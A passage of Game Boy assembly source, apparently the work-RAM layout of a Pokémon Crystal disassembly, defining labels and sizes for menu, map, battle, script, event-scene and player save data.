; cf92 wMenuData_ScrollingMenuWidth:: db ; cf93 wMenuData_ScrollingMenuItemFormat:: db ; cf94 wMenuData_ItemsPointerBank:: db ; cf95 wMenuData_ItemsPointerAddr:: dw ; cf97 wMenuData_ScrollingMenuFunction1:: ds 3 ; cf98 wMenuData_ScrollingMenuFunction2:: ds 3 ; cf9b wMenuData_ScrollingMenuFunction3:: ds 3 ; cf9e ENDU ; cfa1 wMenuDataEnd:: w2DMenuData:: w2DMenuCursorInitY:: db ; cfa1 w2DMenuCursorInitX:: db ; cfa2 w2DMenuNumRows:: db ; cfa3 w2DMenuNumCols:: db ; cfa4 w2DMenuFlags1:: ; cfa5 ; bit 7: Disable checking of wMenuJoypadFilter ; bit 6: Enable sprite animations ; bit 5: Wrap around vertically ; bit 4: Wrap around horizontally ; bit 3: Set bit 7 in w2DMenuFlags2 and exit the loop if bit 5 is disabled and we tried to go too far down ; bit 2: Set bit 7 in w2DMenuFlags2 and exit the loop if bit 5 is disabled and we tried to go too far up ; bit 1: Set bit 7 in w2DMenuFlags2 and exit the loop if bit 4 is disabled and we tried to go too far left ; bit 0: Set bit 7 in w2DMenuFlags2 and exit the loop if bit 4 is disabled and we tried to go too far right db w2DMenuFlags2:: db ; cfa6 w2DMenuCursorOffsets:: db ; cfa7 wMenuJoypadFilter:: db ; cfa8 w2DMenuDataEnd:: wMenuCursorY:: db ; cfa9 wMenuCursorX:: db ; cfaa wCursorOffCharacter:: db ; cfab wCursorCurrentTile:: dw ; cfac ds 3 wOverworldDelay:: db ; cfb1 wTextDelayFrames:: db ; cfb2 wVBlankOccurred:: db ; cfb3 wPredefID:: db ; cfb4 wPredefTemp:: dw ; cfb5 wPredefAddress:: dw ; cfb7 wFarCallBCBuffer:: dw ; cfb9 wcfbb:: db wGameTimerPause:: ; cfbc ; bit 0: game timer paused ; bit 7: something mobile db ds 1 wcfbe:: ; cfbe ; bits 4, 6, or 7 can be used to disable joypad input ; bit 4 ; bit 6: mon fainted? ; bit 7: SGB flag? db ds 1 wInBattleTowerBattle:: ; cfc0 ; 0 not in BattleTower-Battle ; 1 BattleTower-Battle db ds 1 wFXAnimID:: dw ; cfc2 wPlaceBallsX:: db ; cfc4 wPlaceBallsY:: db ; cfc5 wTileAnimationTimer:: db ; cfc6 ; palette backups? wBGP:: db wOBP0:: db wOBP1:: db wNumHits:: db ds 1 wOptions:: ; cfcc ; bit 0-2: number of frames to delay when printing text ; fast 1; mid 3; slow 5 ; bit 3: ? ; bit 4: no text delay ; bit 5: stereo off/on ; bit 6: battle style shift/set ; bit 7: battle scene off/on db wSaveFileExists:: db wTextboxFrame:: ; cfce ; bits 0-2: textbox frame 0-7 db wTextboxFlags:: ; bit 0: 1-frame text delay ; bit 4: no text delay db wGBPrinterBrightness:: ; cfd0 ; bit 0-6: brightness ; lightest: $00 ; lighter: $20 ; normal: $40 (default) ; darker: $60 ; darkest: $7F db wOptions2:: ; cfd1 ; bit 1: menu account off/on db ds 2 wOptionsEnd:: ; Time buffer, for counting the amount of time since ; an event began. wSecondsSince:: db wMinutesSince:: db wHoursSince:: db wDaysSince:: db SECTION "WRAM 1", WRAMX wGBCOnlyDecompressBuffer:: ds 1 ; also uses the next $53f bytes for $540 total wDefaultSpawnpoint:: db UNION ; d002 ; mail temp storage wTempMail:: mailmsg wTempMail NEXTU ; d002 ; poke seer wSeerAction:: db wSeerNickname:: ds MON_NAME_LENGTH wSeerCaughtLocation:: ds 17 wSeerTimeOfDay:: ds NAME_LENGTH wSeerOTName:: ds NAME_LENGTH wSeerOTNameGrammar:: db wSeerCaughtLevelString:: ds 4 wSeerCaughtLevel:: db wSeerCaughtData:: db wSeerCaughtGender:: db NEXTU ; d002 ; mon buffer wBufferMonNick:: ds MON_NAME_LENGTH ; d002 wBufferMonOT:: ds NAME_LENGTH ; d00d wBufferMon:: party_struct wBufferMon ; d018 ds 8 wMonOrItemNameBuffer:: NEXTU ; d002 ; bug-catching contest wBugContestResults:: bugcontestwinner wBugContestFirstPlace bugcontestwinner wBugContestSecondPlace bugcontestwinner wBugContestThirdPlace wBugContestWinnersEnd:: bugcontestwinner wBugContestTemp ds 4 wBugContestWinnerName:: ds NAME_LENGTH NEXTU ; d002 ; mart items wMartItem1BCD:: ds 3 wMartItem2BCD:: ds 3 wMartItem3BCD:: ds 3 wMartItem4BCD:: ds 3 wMartItem5BCD:: ds 3 wMartItem6BCD:: ds 3 wMartItem7BCD:: ds 3 wMartItem8BCD:: ds 3 wMartItem9BCD:: ds 3 wMartItem10BCD:: ds 3 NEXTU ; d002 ; town map data wTownMapPlayerIconLandmark:: db UNION wTownMapCursorLandmark:: db wTownMapCursorObjectPointer:: dw NEXTU wTownMapCursorCoordinates:: dw ENDU NEXTU ; d002 ; phone call data wPhoneScriptBank:: db wPhoneCaller:: dw NEXTU ; d002 ; radio data wCurRadioLine:: db wNextRadioLine:: db wRadioTextDelay:: db wNumRadioLinesPrinted:: db wOaksPKMNTalkSegmentCounter:: db ds 5 wRadioText:: ds 2 * SCREEN_WIDTH wRadioTextEnd:: NEXTU ; d002 ; lucky number show wLuckyNumberDigitsBuffer:: ds 5 NEXTU ; d002 ; movement buffer data wMovementBufferCount:: db wMovementBufferObject:: db wUnusedMovementBufferBank:: db wUnusedMovementBufferPointer:: dw wMovementBuffer:: ds 55 NEXTU ; d002 ; box printing wWhichBoxMonToPrint:: db wFinishedPrintingBox:: db wAddrOfBoxToPrint:: dw wBankOfBoxToPrint:: db wWhichBoxToPrint:: db NEXTU ; d002 ; trainer HUD data ds 1 wPlaceBallsDirection:: db wTrainerHUDTiles:: ds 4 NEXTU ; d002 ; mobile participant nicknames ds 4 wMobileParticipant1Nickname:: ds NAME_LENGTH_JAPANESE wMobileParticipant2Nickname:: ds NAME_LENGTH_JAPANESE wMobileParticipant3Nickname:: ds NAME_LENGTH_JAPANESE NEXTU ; d002 ; earthquake data buffer wEarthquakeMovementDataBuffer:: ds 5 NEXTU ; d002 ; miscellaneous wTempDayOfWeek:: wApricorns:: wKeepSevenBiasChance:: ; used in the slots to handle the favoring of 7 symbol streaks wSuicuneFrame:: db ds 2 wStartFlypoint:: db wEndFlypoint:: db NEXTU ; d002 ; unidentified wd002:: db wd003:: db wd004:: db ; mobile? ds 1 wd006:: ds 2 wd008:: ds 2 ds 2 wd00c:: ds 1 wd00d:: ds 1 ds 1 wd00f:: ds 1 wd010:: ds 1 wd011:: ds 1 wd012:: ds 1 wd013:: ds 1 wd014:: ds 2 ds 1 wd017:: ds 1 wd018:: ds 1 wd019:: ds 1 ds 19 wd02d:: ds 1 wd02e:: ds 1 wd02f:: ds 1 wd030:: ds 1 wd031:: ds 1 wd032:: ds 1 wd033:: ds 1 wd034:: ds 2 wd036:: ds 2 ds 6 UNION ; d03e ; trainer data wSeenTrainerBank:: db wSeenTrainerDistance:: db wSeenTrainerDirection:: db wTempTrainer:: wTempTrainerEventFlag:: dw wTempTrainerClass:: db wTempTrainerID:: db wSeenTextPointer:: dw wWinTextPointer:: dw wLossTextPointer:: dw wScriptAfterPointer:: dw wRunningTrainerBattleScript:: db wTempTrainerEnd:: NEXTU ; d03e ; menu items list wMenuItemsList:: ds 16 wMenuItemsListEnd:: NEXTU ; d03e ; fruit tree data wCurFruitTree:: db wCurFruit:: db NEXTU ; d03e ; item ball data wItemBallData:: wItemBallItemID:: db wItemBallQuantity:: db wItemBallDataEnd:: NEXTU ; d03e ; hidden item data wHiddenItemData:: wHiddenItemEvent:: dw wHiddenItemID:: db wHiddenItemDataEnd:: NEXTU ; d03e ; elevator data wElevatorData:: wElevatorPointerBank:: db wElevatorPointer:: dw wElevatorOriginFloor:: db wElevatorDataEnd:: NEXTU ; d03e ; coord event data wCurCoordEvent:: wCurCoordEventSceneID:: db wCurCoordEventMapY:: db wCurCoordEventMapX:: db ds 1 wCurCoordEventScriptAddr:: dw NEXTU ; d03e ; BG event data wCurBGEvent:: wCurBGEventYCoord:: db wCurBGEventXCoord:: db wCurBGEventType:: db wCurBGEventScriptAddr:: dw NEXTU ; d03e ; mart data wMartType:: db wMartPointerBank:: db wMartPointer:: dw wMartJumptableIndex:: db wBargainShopFlags:: db NEXTU ; d03e ; player movement data wCurInput:: wFacingTileID:: db wWalkingIntoNPC:: db wWalkingIntoLand:: db wWalkingIntoEdgeWarp:: db wMovementAnimation:: db wWalkingDirection:: db wFacingDirection:: db wWalkingX:: db wWalkingY:: db wWalkingTile:: db ds 6 wPlayerTurningDirection:: db NEXTU ; d03e ; std script buffer ds 1 wJumpStdScriptBuffer:: ds 3 NEXTU ; d03e ; phone script data wCheckedTime:: db wPhoneListIndex:: db wNumAvailableCallers:: db wAvailableCallers:: ds CONTACT_LIST_SIZE NEXTU ; d03e ; phone caller contact ds 1 wCallerContact:: ds PHONE_CONTACT_SIZE NEXTU ; d03e ; backup menu data ds 7 wMenuCursorBufferBackup:: db wMenuScrollPositionBackup:: db NEXTU ; d03e ; poison step data wPoisonStepData:: wPoisonStepFlagSum:: db wPoisonStepPartyFlags:: ds PARTY_LENGTH wPoisonStepDataEnd:: ENDU ; d04f ds 23 ENDU ; d066 wTMHMMoveNameBackup:: ds MOVE_NAME_LENGTH ; d066 wStringBuffer1:: ds 19 ; d073 wStringBuffer2:: ds 19 ; d086 wStringBuffer3:: ds 19 ; d099 wStringBuffer4:: ds 19 ; d0ac wStringBuffer5:: ds 19 ; d0bf wBattleMenuCursorBuffer:: dw ; d0d2 wCurBattleMon:: db ; d0d4 wCurMoveNum:: db ; d0d5 wLastPocket:: db wPCItemsCursor:: db wPartyMenuCursor:: db wItemsPocketCursor:: db wKeyItemsPocketCursor:: db wBallsPocketCursor:: db wTMHMPocketCursor:: db wPCItemsScrollPosition:: db wPartyMenuScrollPosition:: db ; unused wItemsPocketScrollPosition:: db wKeyItemsPocketScrollPosition:: db wBallsPocketScrollPosition:: db wTMHMPocketScrollPosition:: db wSwitchMon:: wSwitchItem:: wMoveSwapBuffer:: wd0e3:: ; mobile db wMenuScrollPosition:: ds 4 wQueuedScriptBank:: db wQueuedScriptAddr:: dw wNumMoves:: db wFieldMoveSucceeded:: wItemEffectSucceeded:: wBattlePlayerAction:: ; 0 - use move ; 1 - use item ; 2 - switch wSolvedUnownPuzzle:: db ; d0ec wVramState:: ; d0ed ; bit 0: overworld sprite updating on/off ; bit 6: something to do with text ; bit 7: on when surf initiates ; flickers when climbing waterfall db wBattleResult:: ; d0ee ; WIN, LOSE, or DRAW ; bit 6: caught celebi ; bit 7: box full db wUsingItemWithSelect:: db ; d0ef UNION ; d0f0 ; mart data wCurMart:: ds 16 wCurMartEnd:: NEXTU ; d0f0 ; elevator data wCurElevator:: db wCurElevatorFloors:: db NEXTU ; d0f0 ; mailbox data wCurMessageScrollPosition:: db wCurMessageIndex:: db wMailboxCount:: db wMailboxItems:: ds MAILBOX_CAPACITY wMailboxEnd:: ; d0fe ENDU ; d100 wListPointer:: dw ; d100 wUnusedD102:: dw ; d102 wItemAttributesPtr:: dw ; d104 wCurItem:: db ; d106 wCurItemQuantity:: ; d107 wMartItemID:: db wCurPartySpecies:: db ; d108 wCurPartyMon:: ; d109 ; contains which monster in a party ; is being dealt with at the moment ; 0-5 db wWhichHPBar:: ; 0: Enemy ; 1: Player ; 2: Party Menu db wPokemonWithdrawDepositParameter:: ; 0: Take from PC ; 1: Put into PC ; 2: Take from Day-Care ; 3: Put into Day-Care db wItemQuantityChangeBuffer:: db wItemQuantityBuffer:: db wTempMon:: party_struct wTempMon ; d10e wSpriteFlags:: db ; d13e wHandlePlayerStep:: db ; d13f ds 1 wPartyMenuActionText:: db ; d141 wItemAttributeParamBuffer:: db ; d142 wCurPartyLevel:: db ; d143 wScrollingMenuListSize:: dw ; used when following a map warp ; d146 wNextWarp:: db wNextMapGroup:: db wNextMapNumber:: db wPrevWarp:: db wPrevMapGroup:: db wPrevMapNumber:: db ; d14c wPlayerBGMapOffsetX:: db ; used in FollowNotExact; unit is pixels wPlayerBGMapOffsetY:: db ; used in FollowNotExact; unit is pixels ; Player movement wPlayerStepVectorX:: db ; d14e wPlayerStepVectorY:: db ; d14f wPlayerStepFlags:: db ; d150 wPlayerStepDirection:: db ; d151 wBGMapAnchor:: dw ; d152 UNION ; d154 wUsedSprites:: ds SPRITE_GFX_LIST_CAPACITY * 2 wUsedSpritesEnd:: NEXTU ; d154 ds 31 wd173:: db ; related to command queue type 3 ENDU ; d194 wOverworldMapAnchor:: dw ; d194 wMetatileStandingY:: db ; d196 wMetatileStandingX:: db ; d197 wMapPartial:: wMapAttributesBank:: db ; d198 wMapTileset:: db ; d199 wEnvironment:: db ; d19a wMapAttributesPointer:: dw ; d19b wMapPartialEnd:: wMapAttributes:: ; d19d wMapBorderBlock:: db ; d19d ; width/height are in blocks (2x2 walkable tiles, 4x4 graphics tiles) wMapHeight:: db ; d19e wMapWidth:: db ; d19f wMapBlocksBank:: db; d1a0 wMapBlocksPointer:: dw ; d1a1 wMapScriptsBank:: db ; d1a3 wMapScriptsPointer:: dw ; d1a4 wMapEventsPointer:: dw ; d1a6 ; bit set wMapConnections:: db ; d1a8 wMapAttributesEnd:: wNorthMapConnection:: map_connection_struct wNorth ; d1a9 wSouthMapConnection:: map_connection_struct wSouth ; d1b5 wWestMapConnection:: map_connection_struct wWest ; d1c1 wEastMapConnection:: map_connection_struct wEast ; d1cd wTileset:: wTilesetBank:: db ; d1d9 wTilesetAddress:: dw ; d1da wTilesetBlocksBank:: db ; d1dc wTilesetBlocksAddress:: dw ; d1dd wTilesetCollisionBank:: db ; d1df wTilesetCollisionAddress:: dw ; d1e0 wTilesetAnim:: dw ; bank 3f ; d1e2 ds 2 ; unused ; d1e4 wTilesetPalettes:: dw ; bank 3f ; d1e6 wTilesetEnd:: wEvolvableFlags:: flag_array PARTY_LENGTH ; d1e8 wForceEvolution:: db ; d1e9 UNION ; d1ea ; general-purpose buffers wBuffer1:: db ; d1ea wBuffer2:: db ; d1eb wBuffer3:: db ; d1ec wBuffer4:: db ; d1ed wBuffer5:: db ; d1ee wBuffer6:: db ; d1ef NEXTU ; d1ea ; HP bar animations wCurHPAnimMaxHP:: dw ; d1ea wCurHPAnimOldHP:: dw ; d1ec wCurHPAnimNewHP:: dw ; d1ee wCurHPAnimPal:: db ; d1f0 wCurHPBarPixels:: db ; d1f1 wNewHPBarPixels:: db ; d1f2 wCurHPAnimDeltaHP:: dw ; d1f3 wCurHPAnimLowHP:: db ; d1f5 wCurHPAnimHighHP:: db ; d1f6 NEXTU ; d1ea ; evolution data wEvolutionOldSpecies:: db ; d1ea wEvolutionNewSpecies:: db ; d1eb wEvolutionPicOffset:: db ; d1ec wEvolutionCanceled:: db ; d1ed NEXTU ; d1ea ; mobile ds 2 wd1ec:: ds 1 wd1ed:: ds 1 wd1ee:: ds 1 wd1ef:: ds 1 wd1f0:: ds 1 wd1f1:: ds 1 wd1f2:: ds 1 wd1f3:: ds 4 NEXTU ; d1ea ; miscellaneous wMagikarpLength:: dw wSelectedDecoration:: db wOtherDecoration:: db ds 3 wCurEnemyItem:: db ENDU ; d1f7 wOtherTrainerType:: db ; d1f7 wTrainerGroupBank:: db ; d1f8 ds 1 wLinkBattleRNs:: ds 10 ; d1fa wTempEnemyMonSpecies:: db ; d204 wTempBattleMonSpecies:: db ; d205 wEnemyMon:: battle_struct wEnemyMon ; d206 wEnemyMonBaseStats:: ds 5 ; d226 wEnemyMonCatchRate:: db ; d22b wEnemyMonBaseExp:: db ; d22c wEnemyMonEnd:: wBattleMode:: ; d22d ; 0: overworld ; 1: wild battle ; 2: trainer battle db wTempWildMonSpecies:: db wOtherTrainerClass:: ; d22f ; class (Youngster, Bug Catcher, etc.) of opposing trainer ; 0 if opponent is a wild Pokémon, not a trainer db ; BATTLETYPE_* values wBattleType:: db ; d230 wOtherTrainerID:: ; d231 ; which trainer of the class that you're fighting ; (Joey, Mikey, Albert, etc.) db wForcedSwitch:: db wTrainerClass:: db ; d233 wUnownLetter:: db ; d234 wMoveSelectionMenuType:: db ; corresponds to the data/pokemon/base_stats/*.asm contents wCurBaseData:: ; d236 wBaseDexNo:: db ; d236 wBaseStats:: ; d237 wBaseHP:: db ; d237 wBaseAttack:: db ; d238 wBaseDefense:: db ; d239 wBaseSpeed:: db ; d23a wBaseSpecialAttack:: db ; d23b wBaseSpecialDefense:: db ; d23c wBaseType:: ; d23d wBaseType1:: db ; d23d wBaseType2:: db ; d23e wBaseCatchRate:: db ; d23f wBaseExp:: db ; d240 wBaseItems:: ; d241 wBaseItem1:: db ; d241 wBaseItem2:: db ; d242 wBaseGender:: db ; d243 wBaseUnknown1:: db ; d244 wBaseEggSteps:: db ; d245 wBaseUnknown2:: db ; d246 wBasePicSize:: db ; d247 wBasePadding:: ds 4 ; d248 wBaseGrowthRate:: db ; d24c wBaseEggGroups:: db ; d24d wBaseTMHM:: flag_array NUM_TM_HM_TUTOR ; d24e wCurBaseDataEnd:: wCurDamage:: dw ; d256 ds 2 wMornEncounterRate:: db ; d25a wDayEncounterRate:: db ; d25b wNiteEncounterRate:: db ; d25c wWaterEncounterRate:: db ; d25d wListMoves_MoveIndicesBuffer:: ds NUM_MOVES wPutativeTMHMMove:: db wInitListType:: db wBattleHasJustStarted:: db ; d265 has many different short-term uses wNamedObjectIndexBuffer:: wDeciramBuffer:: wTempByteValue:: wNumSetBits:: wTypeMatchup:: wCurType:: wTempSpecies:: wTempIconSpecies:: wTempTMHM:: wTempPP:: wNextBoxOrPartyIndex:: wChosenCableClubRoom:: wBreedingCompatibility:: wApplyStatLevelMultipliersToEnemy:: wUsePPUp:: wd265:: ; mobile db wFailedToFlee:: db wNumFleeAttempts:: db wMonTriedToEvolve:: db wTimeOfDay:: db ; d269 ds 1 SECTION "Enemy Party", WRAMX UNION ; d26b wPokedexShowPointerAddr:: dw wPokedexShowPointerBank:: db ds 3 wd271:: dw ; mobile NEXTU ; d26b wUnusedEggHatchFlag:: db NEXTU ; d26b ; enemy party wOTPlayerName:: ds NAME_LENGTH ; d26b wOTPlayerID:: dw ; d276 ds 8 wOTPartyCount:: db ; d280 wOTPartySpecies:: ds PARTY_LENGTH ; d281 wOTPartyEnd:: db ; older code doesn't check PartyCount ENDU ; d276 UNION ; d288 ; ot party mons wOTPartyMons:: wOTPartyMon1:: party_struct wOTPartyMon1 ; d288 wOTPartyMon2:: party_struct wOTPartyMon2 ; d2b8 wOTPartyMon3:: party_struct wOTPartyMon3 ; d2e8 wOTPartyMon4:: party_struct wOTPartyMon4 ; d318 wOTPartyMon5:: party_struct wOTPartyMon5 ; d348 wOTPartyMon6:: party_struct wOTPartyMon6 ; d378 wOTPartyMonsEnd:: wOTPartyMonOT:: ds NAME_LENGTH * PARTY_LENGTH ; d3a8 wOTPartyMonNicknames:: ds MON_NAME_LENGTH * PARTY_LENGTH ; d3ea wOTPartyDataEnd:: ds 4 NEXTU ; d288 ; catch tutorial dude pack wDudeBag:: wDudeNumItems:: db wDudeItems:: ds 2 * 4 wDudeItemsEnd:: db wDudeNumKeyItems:: db ; d292 wDudeKeyItems:: ds 18 wDudeKeyItemsEnd:: db wDudeNumBalls:: db ; d2a6 wDudeBalls:: ds 2 * 4 ; d2a7 wDudeBallsEnd:: db ; d2af wDudeBagEnd:: ENDU ; d430 wd430:: ; mobile wBattleAction:: db ; d430 wd431:: db ; mobile wMapStatus:: db ; d432 wMapEventStatus:: db ; d433 wScriptFlags:: ; d434 ; bit 3: priority jump db wScriptFlags2:: ; d435 db wScriptFlags3:: ; d436 ; bit 0: count steps ; bit 1: coord events ; bit 2: warps and connections ; bit 4: wild encounters ; bit 5: unknown db wScriptMode:: db ; d437 wScriptRunning:: db ; d438 wScriptBank:: db ; d439 wScriptPos:: dw ; d43a wScriptStackSize:: db wScriptStack:: ds 3 * 5 ds 1 wScriptDelay:: db ; d44d wPriorityScriptBank:: wScriptTextBank:: db ; d44e wPriorityScriptAddr:: wScriptTextAddr:: dw ; d44f ds 1 wWildEncounterCooldown:: db ; d452 wXYComparePointer:: dw ; d453 ds 4 wBattleScriptFlags:: dw ; d459 wPlayerSpriteSetupFlags:: ; d45b ; bit 7: if set, cancel wPlayerAction ; bit 6: RefreshMapSprites doesn't reload player sprite ; bit 5: if set, set facing according to bits 0-1 ; bit 2: female player has been transformed into male ; bits 0-1: direction facing db wMapReentryScriptQueueFlag:: db ; d45c MemScriptFlag wMapReentryScriptBank:: db ; d45d MemScriptBank wMapReentryScriptAddress:: dw ; d45e MemScriptAddr ds 4 wTimeCyclesSinceLastCall:: db ; d464 wReceiveCallDelay_MinsRemaining:: db ; d465 wReceiveCallDelay_StartTime:: ds 3 ; d466 ds 3 wBugContestMinsRemaining:: db ; d46c wBugContestSecsRemaining:: db ; d46d ds 2 wMapStatusEnd:: ; d470 ds 2 wCrystalData:: wPlayerGender:: ; d472 ; bit 0: ; 0 male ; 1 female db wd473:: ds 1 wd474:: ds 1 wd475:: ds 1 wd476:: ds 1 wd477:: ds 1 wd478:: ds 1 wCrystalDataEnd:: wd479:: ds 2 wGameData:: wPlayerData:: wPlayerID:: ; d47b dw wPlayerName:: ds NAME_LENGTH ; d47d wMomsName:: ds NAME_LENGTH ; d488 wRivalName:: ds NAME_LENGTH ; d493 wRedsName:: ds NAME_LENGTH ; d49e wGreensName:: ds NAME_LENGTH ; d4a9 wSavedAtLeastOnce:: db wSpawnAfterChampion:: db ; init time set at newgame wStartDay:: db ; d4b6 wStartHour:: db ; d4b7 wStartMinute:: db ; d4b8 wStartSecond:: db ; d4b9 wRTC:: ds 4 ; d4ba ds 4 wDST:: ; d4c2 ; bit 7: dst db wGameTime:: ; used only for BANK(wGameTime) wGameTimeCap:: db ; d4c3 wGameTimeHours:: dw ; d4c4 wGameTimeMinutes:: db ; d4c6 wGameTimeSeconds:: db ; d4c7 wGameTimeFrames:: db ; d4c8 ds 2 wCurDay:: db ; d4cb ds 1 wObjectFollow_Leader:: db wObjectFollow_Follower:: db wCenteredObject:: db wFollowerMovementQueueLength:: db wFollowMovementQueue:: ds 5 wObjectStructs:: ; d4d6 wPlayerStruct:: object_struct wPlayer wObject1Struct:: object_struct wObject1 wObject2Struct:: object_struct wObject2 wObject3Struct:: object_struct wObject3 wObject4Struct:: object_struct wObject4 wObject5Struct:: object_struct wObject5 wObject6Struct:: object_struct wObject6 wObject7Struct:: object_struct wObject7 wObject8Struct:: object_struct wObject8 wObject9Struct:: object_struct wObject9 wObject10Struct:: object_struct wObject10 wObject11Struct:: object_struct wObject11 wObject12Struct:: object_struct wObject12 wObjectStructsEnd:: ; d6de wCmdQueue:: ds CMDQUEUE_CAPACITY * CMDQUEUE_ENTRY_SIZE ds 40 wMapObjects:: ; d71e wPlayerObject:: map_object wPlayer wMap1Object:: map_object wMap1 wMap2Object:: map_object wMap2 wMap3Object:: map_object wMap3 wMap4Object:: map_object wMap4 wMap5Object:: map_object wMap5 wMap6Object:: map_object wMap6 wMap7Object:: map_object wMap7 wMap8Object:: map_object wMap8 wMap9Object:: map_object wMap9 wMap10Object:: map_object wMap10 wMap11Object:: map_object wMap11 wMap12Object:: map_object wMap12 wMap13Object:: map_object wMap13 wMap14Object:: map_object wMap14 wMap15Object:: map_object wMap15 wMapObjectsEnd:: wObjectMasks:: ds NUM_OBJECTS ; d81e wVariableSprites:: ds $100 - SPRITE_VARS ; d82e wEnteredMapFromContinue:: db ; d83e ds 2 wTimeOfDayPal:: db ; d841 ds 4 wTimeOfDayPalFlags:: db ; d846 wTimeOfDayPalset:: db wCurTimeOfDay:: db ; d848 ds 1 wSecretID:: dw wStatusFlags:: ; d84c ; bit 0: pokedex ; bit 1: unown dex ; bit 2: flash ; bit 3: caught pokerus ; bit 4: rocket signal ; bit 5: wild encounters on/off ; bit 6: hall of fame ; bit 7: bug contest on db wStatusFlags2:: ; d84d ; bit 0: rockets ; bit 1: safari game (unused) ; bit 2: bug contest timer ; bit 3: unused ; bit 4: bike shop call ; bit 5: can use sweet scent ; bit 6: reached goldenrod ; bit 7: rockets in mahogany db wMoney:: ds 3 ; d84e wMomsMoney:: ds 3 ; d851 wMomSavingMoney:: ; d854 ; bit 0: saving some money ; bit 1: saving half money (unused) ; bit 2: saving all money (unused) ; bit 7: active db wCoins:: dw ; d855 wBadges:: wJohtoBadges:: flag_array NUM_JOHTO_BADGES ; d857 wKantoBadges:: flag_array NUM_KANTO_BADGES ; d858 wTMsHMs:: ds NUM_TMS + NUM_HMS ; d859 wTMsHMsEnd:: wNumItems:: db ; d892 wItems:: ds MAX_ITEMS * 2 + 1 ; d893 wItemsEnd:: wNumKeyItems:: db ; d8bc wKeyItems:: ds MAX_KEY_ITEMS + 1 ; d8bd wKeyItemsEnd:: wNumBalls:: db ; d8d7 wBalls:: ds MAX_BALLS * 2 + 1 ; d8d8 wBallsEnd:: wNumPCItems:: db wPCItems:: ds MAX_PC_ITEMS * 2 + 1 ; d8f1 wPCItemsEnd:: wPokegearFlags:: ; bit 0: map ; bit 1: radio ; bit 2: phone ; bit 3: expn ; bit 7: on/off db wRadioTuningKnob:: db wLastDexMode:: db ds 1 wWhichRegisteredItem:: db ; d95b wRegisteredItem:: db ; d95c wPlayerState:: db ; d95d wHallOfFameCount:: dw wTradeFlags:: flag_array NUM_NPC_TRADES ; d960 ds 1 wMooMooBerries:: db ; d962 wUndergroundSwitchPositions:: db ; d963 wFarfetchdPosition:: db ; d964 ds 13 ; map scene ids wPokecenter2FSceneID:: db ; d972 wTradeCenterSceneID:: db ; d973 wColosseumSceneID:: db ; d974 wTimeCapsuleSceneID:: db ; d975 wPowerPlantSceneID:: db ; d976 wCeruleanGymSceneID:: db ; d977 wRoute25SceneID:: db ; d978 wTrainerHouseB1FSceneID:: db ; d979 wVictoryRoadGateSceneID:: db ; d97a wSaffronMagnetTrainStationSceneID:: db ; d97b wRoute16GateSceneID:: db ; d97c wRoute17Route18GateSceneID:: db ; d97d wIndigoPlateauPokecenter1FSceneID:: db ; d97e wWillsRoomSceneID:: db ; d97f wKogasRoomSceneID:: db ; d980 wBrunosRoomSceneID:: db ; d981 wKarensRoomSceneID:: db ; d982 wLancesRoomSceneID:: db ; d983 wHallOfFameSceneID:: db ; d984 wRoute27SceneID:: db ; d985 wNewBarkTownSceneID:: db ; d986 wElmsLabSceneID:: db ; d987 wPlayersHouse1FSceneID:: db ; d988 wRoute29SceneID:: db ; d989 wCherrygroveCitySceneID:: db ; d98a wMrPokemonsHouseSceneID:: db ; d98b wRoute32SceneID:: db ; d98c wRoute35NationalParkGateSceneID:: db ; d98d wRoute36SceneID:: db ; d98e wRoute36NationalParkGateSceneID:: db ; d98f wAzaleaTownSceneID:: db ; d990 wGoldenrodGymSceneID:: db ; d991 wGoldenrodMagnetTrainStationSceneID:: db ; d992 wGoldenrodPokecenter1FSceneID:: db ; d993 wOlivineCitySceneID:: db ; d994 wRoute34SceneID:: db ; d995 wRoute34IlexForestGateSceneID:: db ; d996 wEcruteakTinTowerEntranceSceneID:: db ; d997 wWiseTriosRoomSceneID:: db ; d998 wEcruteakPokecenter1FSceneID:: db ; d999 wEcruteakGymSceneID:: db ; d99a wMahoganyTownSceneID:: db ; d99b wRoute42SceneID:: db ; d99c wCianwoodCitySceneID:: db ; d99d wBattleTower1FSceneID:: db ; d99e wBattleTowerBattleRoomSceneID:: db ; d99f wBattleTowerElevatorSceneID:: db ; d9a0 wBattleTowerHallwaySceneID:: db ; d9a1 wBattleTowerOutsideSceneID:: db ; d9a2 wRoute43GateSceneID:: db ; d9a3 wMountMoonSceneID:: db ; d9a4 wSproutTower3FSceneID:: db ; d9a5 wTinTower1FSceneID:: db ; d9a6 wBurnedTower1FSceneID:: db ; d9a7 wBurnedTowerB1FSceneID:: db ; d9a8 wRadioTower5FSceneID:: db ; d9a9 wRuinsOfAlphOutsideSceneID:: db ; d9aa wRuinsOfAlphResearchCenterSceneID:: db ; d9ab wRuinsOfAlphHoOhChamberSceneID:: db ; d9ac wRuinsOfAlphKabutoChamberSceneID:: db ; d9ad wRuinsOfAlphOmanyteChamberSceneID:: db ; d9ae wRuinsOfAlphAerodactylChamberSceneID:: db ; d9af wRuinsOfAlphInnerChamberSceneID:: db ; d9b0 wMahoganyMart1FSceneID:: db ; d9b1 wTeamRocketBaseB1FSceneID:: db ; d9b2 wTeamRocketBaseB2FSceneID:: db ; d9b3 wTeamRocketBaseB3FSceneID:: db ; d9b4 wGoldenrodUndergroundSwitchRoomEntrancesSceneID:: db ; d9b5 wSilverCaveRoom3SceneID:: db ; d9b6 wVictoryRoadSceneID:: db ; d9b7 wDragonsDenB1FSceneID:: db ; d9b8 wDragonShrineSceneID:: db ; d9b9 wOlivinePortSceneID:: db ; d9ba wVermilionPortSceneID:: db ; d9bb wFastShip1FSceneID:: db ; d9bc wFastShipB1FSceneID:: db ; d9bd wMountMoonSquareSceneID:: db ; d9be wMobileTradeRoomSceneID:: db ; d9bf wMobileBattleRoomSceneID:: db ; d9c0 ds 49 ; fight counts wJackFightCount:: db ; d9f2 wBeverlyFightCount:: db ; unused wHueyFightCount:: db wGavenFightCount:: db wBethFightCount:: db wJoseFightCount:: db wReenaFightCount:: db wJoeyFightCount:: db wWadeFightCount:: db wRalphFightCount:: db wLizFightCount:: db wAnthonyFightCount:: db wToddFightCount:: db wGinaFightCount:: db wIrwinFightCount:: db ; unused wArnieFightCount:: db wAlanFightCount:: db wDanaFightCount:: db wChadFightCount:: db wDerekFightCount:: db ; unused wTullyFightCount:: db wBrentFightCount:: db wTiffanyFightCount:: db wVanceFightCount:: db wWiltonFightCount:: db wKenjiFightCount:: db ; unused wParryFightCount:: db wErinFightCount:: db ; da0e ds 100 wEventFlags:: flag_array NUM_EVENTS ; da72 ; db6c ds 6 wCurBox:: db ; db72 ds 